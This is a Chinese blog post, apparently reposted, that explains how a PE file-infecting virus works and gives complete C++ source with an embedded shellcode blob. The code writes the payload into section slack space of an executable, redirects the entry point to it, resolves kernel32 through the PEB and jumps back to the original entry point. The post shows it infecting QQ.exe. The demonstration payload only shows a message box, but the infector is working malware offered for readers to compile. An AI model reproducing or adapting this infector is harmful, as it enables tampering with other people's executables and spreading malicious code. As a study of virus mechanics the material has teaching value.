PE病毒初探——向exe注入代碼


PE文件其實就是Windows可執行文件,關於它的一些簡要介紹摘自百度:

 

PE文件被稱為可移植的執行體是Portable Execute的全稱,常見的EXE、DLL、OCX、SYS、COM都是PE文件,PE文件是微軟Windows操作系統上的程序文件(可能是間接被執行,如DLL)。

 

http://baike.baidu.com/view/1087038.htm

 

有一種病毒是針對PE文件進行的操作,他們會感染一些exe,將自己的代碼添加到exe中並在某處悄悄地竊取執行權限執行自己的代碼進行破壞或者是其他不為人知的勾當。

 

才寫了個頭就跑去跟個程旭媛討論技術問題去了,不禁讓我想起之前的一張圖片。。程序員苦逼不解釋。

 

下面就進入正題。

 

1、PE文件格式

 

PE文件格式游如下圖給出

 

 

2、代碼注入

 

       由PE格式可以知道,PE文件的數據和代碼都存儲在PE頭之后的一些session中,其中有些session的屬性是可執行的,里面的數據就能被當成計算機指令在cpu中執行。

 

       注入代碼的目標就是這些可執行的session(其實還有一種注入方法是增加額外的session,但是這樣做會增加exe文件的大小,不過這樣可以放更多的代碼,由於這次要插入的代碼數量較小所以選擇已經存在的session下手)。

 

      由於文件在磁盤中存儲是按塊存儲的,每塊的大小是固定的,因此這樣會在某些數據中存在額外多余的部分,這個部分就是代碼需要插入的區域。

 

if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
   (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))//判斷剩余片段大小是否和需要插入的代碼和數據的
  {

 

       /*。。。。。。。。。。。。。。。

 

        處理一些地址相關的信息,再將代碼寫入該區域

 

       。。。。。。。。。。。。。。。*/

 

   }

 

下面上一張圖解釋下插入的情形。

 

 

由以上的分段信息可以看出第二個區段有較大的碎片區域,那么所插入的數據和需要插入的代碼就可以插入到碎片二的地方(令第二個區段必須有可執行的權限,否則即使將數據插入進該斷,也無法得到執行)

 

插入后的情況見下圖:

 

 

 剩余部分就是碎片區域,由於插入的代碼都是匯編代碼對應的機器碼,所以可以用以下方法獲得一段匯編代碼的機器碼:

 

void CodeInfo(int *start,int *CodeSize)
{
 DWORD s,e;
 _asm
 {
  push eax
   mov eax,begin1
   mov s,eax
   mov eax,end1
   mov e,eax
   jmp end1
begin1:

 

這里放你需要的匯編代碼
end1:
  pop eax

 

 }
 *start=s;
 *CodeSize=e-s;

 

}

 

然后在主程序里面調用該函數,通過start和size兩個參數利用memcpy函數即可得到需要的匯編代碼

 

3、如何讓程序執行你插入的代碼

 

對於每個exe而言其在被操作系統裝入內存后所執行的第一句代碼所在地址在PE頭中已經被指定好了

 

 

只需將這個地址修改成為你插入的代碼的起始位置就行了

 

4、如何確定數據的位置

 

雖然我們已經能知道插入的數據所在的物理位置,但這個位置不是真正程序在內存中的位置,而為什么之前指定程序入口地址會有用呢?是因為這些定位操作系統會自動幫你改變,而要訪問這些數據是你自己的事情,操作系統不會幫你做你自己的事情。

 

因此有必要自己定位數據,不過令人高興的是這些數據在內存中與代碼的相對偏移是不變的,因此只要知道當前代碼所在的位置就能很好的定位數據的位置。利用以下匯編代碼就能輕松定位當前代碼執行地址:

 

call A
A:    
  pop edi //獲取當前地址給edi

 

至於原理請大家自行去查看匯編call調用的基本原理

 

利用獲得的EDI做些加減法就能很快定位你要的數據了。

 

 

 

5、如何動態獲取API函數

 

獲取API函數是個令人頭疼的問題,因為不同的exe在裝載之后有些模塊的地址會不一樣,需要動態定位這些模塊,在在這些模塊中找到你需要的API地址。

 

本例中需要插入的代碼主要實現的執行一個messagebox函數顯示一個對話框。

 

回想在C++中調用Messagebox函數是只需使用MessageBoxA(0,“context”,“title”,0)就行了,但是在匯編狀態下需要確定messageboxA的地址再push一些參數最后調用call就可以了。

 

MessageBoxA是存在於user32.dll中,所以理所當然利用GetProcAddress()函數就能獲得,而GetProcAddress需要知道user32.dll模塊的地址,那么顯然只要用LoadLibrary()函數就能確定user32.dll模塊的地址,那么現在已經比較明朗了需要知道GetProcAddress(),LoadLibrary()兩個函數就可以了,其他需要的API都可以通過這兩個函數來確定。

 

幸運的是GetProcAddress(),LoadLibrary()兩個函數都存在於kernel32.dll當中,而kernel32.dll這個模塊基本上每一個exe都需要調用到,所以最終只要確定kernel32.dll的地址就行了

 

下面給出利用匯編動態定位kernel32.dll地址的方法

 

mov edx,fs:[30h]        //獲得PEB
  mov edx,[edx+0ch]//get peb_ldr_data
  mov edx,[edx+1ch]//get InInitializationOrderModuleList
  mov edx,[edx]
  mov eax,[edx+50h]//此時eax中存放的就是kernel32.dll的地址

 

利用eax加一下GetProcAddress(),LoadLibrary()兩個函數在於kernel32.dll中的相對偏移就能正確定位這兩個函數的地址了(GetProcAddress(),LoadLibrary()兩個函數在kernel32.dll中的相對偏移是固定不變的不過隨着系統的版本不同會有不一樣,在同一個系統中是一樣的)

 

6、如何回歸原程序

 

在執行完認為插入的代碼之后還需要做一件事——將控制權交還給原程序,當然對於那些具有破壞性的病毒而言這一步做不做無所謂,甚至在之前的插入過程中選擇直接覆蓋就行了。

 

不過這里還是要考慮回歸正途,在之前修改程序入口地址的時候知道了原程序的入口地址這里要回去只要進行簡單的jmp就行了,不過要注意這個jmp后面跟的是偏移地址,所以得做一次減法才行,而且還需考慮jmp代碼本身的字節長度。

 

 

 

到這里就基本完成了一個簡單的感染PE文件的病毒的編寫,由於某些原因上面的內容寫的比較粗糙

 

下面就來看一下程序的執行結果:

 

首先感染一個自己編寫的helloworld 的exe文件

 

 

下圖是感染后的結果,程序一開始執行時先跳出了MessageBox對話框

 

 

再看看感染QQ的情況

 

直接將QQ.exe從QQ的安裝目錄里面拷貝出來放在桌面雙擊會發現毫無反應,沒出現系統報錯的對話框,也沒出現什么提示信息,在進程管理器里面也找不到剛才執行的QQ.exe的身影,我猜這是因為QQ用於本文中提到的相似的方法做過一些特殊處理,遇到運行時異常之后直接退出了,以后可以跟蹤調試下看。。。

 

不過這並不影響我們的病毒對它的感染,用本文中德方法感染桌面的QQ.exe之后再雙擊執行只出現了一個對話框

 

請無視后面那個菊花=。=

 

在任務管理器中查看相關進程可以找大QQ.EXE的身影:

 

 

到此基本結束了,不過最后還是要放一下大招,直接上原代碼,有興趣的可以自行編譯不過其中還是設置了一些小Bug,可能會導致最終感染失敗,嘿嘿

#include<Windows.h>
#include<iostream>
#include<fstream>
using namespace std;




BOOL  IsPeFile(LPVOID  ImageBase)   //判斷是否是PE文件結構
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;



 if(!ImageBase)
  return FALSE;
 pDosHeader = (PIMAGE_DOS_HEADER) ImageBase;



 if(pDosHeader->e_magic != IMAGE_DOS_SIGNATURE)
  return FALSE;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 if(pNtHeader->Signature != IMAGE_NT_SIGNATURE )
  return  FALSE;
 return    TRUE;
}



PIMAGE_NT_HEADERS  GetNtHeader(LPVOID  ImageBase) //獲取NT結構指針
{
 PIMAGE_DOS_HEADER  pDosHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader  = NULL;



 if(!IsPeFile(ImageBase))
  return  NULL;
 pDosHeader = (PIMAGE_DOS_HEADER)ImageBase;
 pNtHeader = (PIMAGE_NT_HEADERS32)((DWORD)pDosHeader+pDosHeader->e_lfanew);
 return    pNtHeader;
}



PIMAGE_FILE_HEADER  WINAPI  GetFileHeader(LPVOID  Imagebase)
{
 PIMAGE_FILE_HEADER  pFileHeader;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(Imagebase);
 if(!pNtHeader)
  return  NULL;
 pFileHeader = & pNtHeader->FileHeader; 
 return  pFileHeader;
}



PIMAGE_OPTIONAL_HEADER  GetOptionalHeader(LPVOID  ImageBase)
{
 PIMAGE_OPTIONAL_HEADER  pOptionHeader = NULL;
 PIMAGE_NT_HEADERS  pNtHeader = NULL;
 pNtHeader = GetNtHeader(ImageBase);
 if(!pNtHeader)
  return  NULL;
 pOptionHeader = & pNtHeader->OptionalHeader;
 return  pOptionHeader;
}




BOOL RvaToOffset(LPVOID lpMoudle,DWORD Rva)
{



 //定義變量存儲轉換后的偏移值和節表數
 DWORD FileOffset;
 WORD nSectionNum;



 //取NT結構頭
 IMAGE_NT_HEADERS  *pNTHead;
 pNTHead=GetNtHeader(lpMoudle);
 nSectionNum=pNTHead->FileHeader.NumberOfSections;



 //取節表結構頭
 IMAGE_SECTION_HEADER *pSectionHead;
 pSectionHead=(IMAGE_SECTION_HEADER *)((DWORD)pNTHead+sizeof(IMAGE_NT_HEADERS));



 //循環比較Rva值所對應節表的偏移
 for(int i=0; i<nSectionNum; i++)
 {
  if((pSectionHead->VirtualAddress<=Rva) && (Rva<(pSectionHead->SizeOfRawData+pSectionHead->VirtualAddress)))
  {
   FileOffset=Rva-pSectionHead->VirtualAddress+pSectionHead->PointerToRawData;
   return FileOffset;
  }
  pSectionHead++;
 }
 return FALSE;
}



BOOL RvaToVirtualAddress(LPVOID lpMoudle,DWORD Rva)
{
 DWORD offect=RvaToOffset(lpMoudle,Rva);
 /*if(offect==NULL||offect==FALSE)
  return FALSE;*/
 return (DWORD)lpMoudle+offect;
}
 



VOID HandleSessionTable(LPVOID file,LPVOID base)
{
 char funcname[16]="MessageBoxA";
 char DLLname[16]="user32.dll";
 char Caption[16]="Warning";
 char Content[16]="This is test";
 DWORD LoadLibraryAAddr=0x1f864;
 DWORD GetProcAddress=0x24c46;
 
 char codes[]="\x60\xe8\x0\x0\x0\x0\x5f\x83\xef\x6\x8b\x4f\xf8\x8b"   //////這里的數據就只插入代碼
  "\x5f\xfc\x64\x8b\x15\x30\x0\x0\x0\x8b\x52\xc\x8b\x52\x1c\x8b"   //////的二進制機器碼
  "\x12\x8b\x42\x8\x8b\x42\x50\x3\xc8\x50\x8b\xd7\x83\xea\x38\x52"
  "\xff\xd1\x8b\xc8\x58\x3\xd8\x8b\xd7\x83\xea\x48\x52\x51\xff\xd3"
  "\x8b\xcf\x83\xe9\x18\x6a\x0\x51\x83\xe9\x10\x51\x6a\x0\xff\xd0\x61"
  "\xe9\x00\x00\x00\x00";




 int datalength=16*4+8;
 int codeslength=sizeof(codes)-1;
 
 IMAGE_NT_HEADERS *nthead=GetNtHeader(base);
 IMAGE_SECTION_HEADER *sessionhead=(IMAGE_SECTION_HEADER*)((DWORD)nthead+sizeof(IMAGE_NT_HEADERS));
 if(sessionhead->VirtualAddress==NULL)
  return;
 DWORD sessionnum=nthead->FileHeader.NumberOfSections;
 IMAGE_SECTION_HEADER *p=sessionhead;
 DWORD sFileSize=GetFileSize(base,NULL);
 for(int i=0;i<sessionnum;i++)
 {
  cout<<(char*)p->Name<<" " <<(int)p->SizeOfRawData-(int)p->Misc.VirtualSize<<endl;
  IMAGE_SECTION_HEADER tmp;//=sessionhead;
  memcpy(&tmp,p,sizeof(IMAGE_SECTION_HEADER));
   
  if((int)p->SizeOfRawData-(int)p->Misc.VirtualSize>codeslength+datalength&&\
   (p->Characteristics&IMAGE_SCN_MEM_EXECUTE))
  {
   DWORD datavirtualbase=p->VirtualAddress+p->Misc.VirtualSize;
   DWORD datafileoffect=p->PointerToRawData+p->Misc.VirtualSize;
   SetFilePointer(file,datafileoffect,NULL,FILE_BEGIN);
   WriteFile(file,funcname,16,0,0);
   WriteFile(file,DLLname,16,0,0);
   WriteFile(file,Caption,16,0,0);
   WriteFile(file,Content,16,0,0);
   WriteFile(file,&LoadLibraryAAddr,4,0,0);
   WriteFile(file,&GetProcAddress,4,0,0);
   DWORD codevirtualbase=p->VirtualAddress+p->Misc.VirtualSize+datalength;
   DWORD cedefileoffset=p->PointerToRawData+p->Misc.VirtualSize+datalength;
   p->Misc.VirtualSize+=(codeslength+datalength);
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   DWORD oldentry=nthead->OptionalHeader.AddressOfEntryPoint;
   DWORD JMPOffset=oldentry-(codevirtualbase+codeslength-5)-5;
   memcpy(codes+codeslength-4,&JMPOffset,sizeof(DWORD));
   nthead->OptionalHeader.AddressOfEntryPoint=codevirtualbase;
   DWORD writesize=0;
   SetFilePointer(file,cedefileoffset,NULL,FILE_BEGIN);
   if(!WriteFile(file,codes,codeslength,&writesize,0) )
   {
    TCHAR  *buffer;
    ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
    MessageBox(0,buffer,L"ok",0);
   }
   cout<<"success"<<endl;
   break;
  
  }
 
  p++;
 }



}



 



void main()
{



 
 HANDLE  hFile = CreateFile(L"qq.exe",           // open  pe file 
  GENERIC_READ|GENERIC_WRITE,              // open for reading 
  NULL,           // share for reading 
  NULL,                      // no security 
  OPEN_EXISTING,             // existing file only 
  FILE_ATTRIBUTE_NORMAL,   // normal file 
  NULL);                     // no attr. template 
 
 HANDLE hFileMap = CreateFileMapping(hFile,NULL,PAGE_READWRITE,0,0,NULL);
 if(!hFileMap )
 {
  TCHAR  *buffer ;




  ::FormatMessage(FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM,NULL,GetLastError(),0,( LPTSTR )&buffer,0,NULL );
  MessageBox(0,buffer,L"ok",0);
 }
 LPVOID  lpMemory = MapViewOfFile(hFileMap,FILE_MAP_READ|FILE_MAP_WRITE ,NULL,NULL,NULL);




 if(IsPeFile(lpMemory))
 {
  //AnalyzeNTHEADER(lpMemory);
  cout<<"yes"<<endl;
  IMAGE_NT_HEADERS *nthead=GetNtHeader(lpMemory);
  IMAGE_OPTIONAL_HEADER32 *image=GetOptionalHeader(lpMemory);
  cout<<"DataDirectory num:"<<image->NumberOfRvaAndSizes<<endl;



  




  HandleSessionTable(hFile,lpMemory);



 




 }
 else
  cout<<"no"<<endl;



 UnmapViewOfFile(lpMemory);
 CloseHandle(hFileMap);
 CloseHandle(hFile);




 system("pause");
}

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM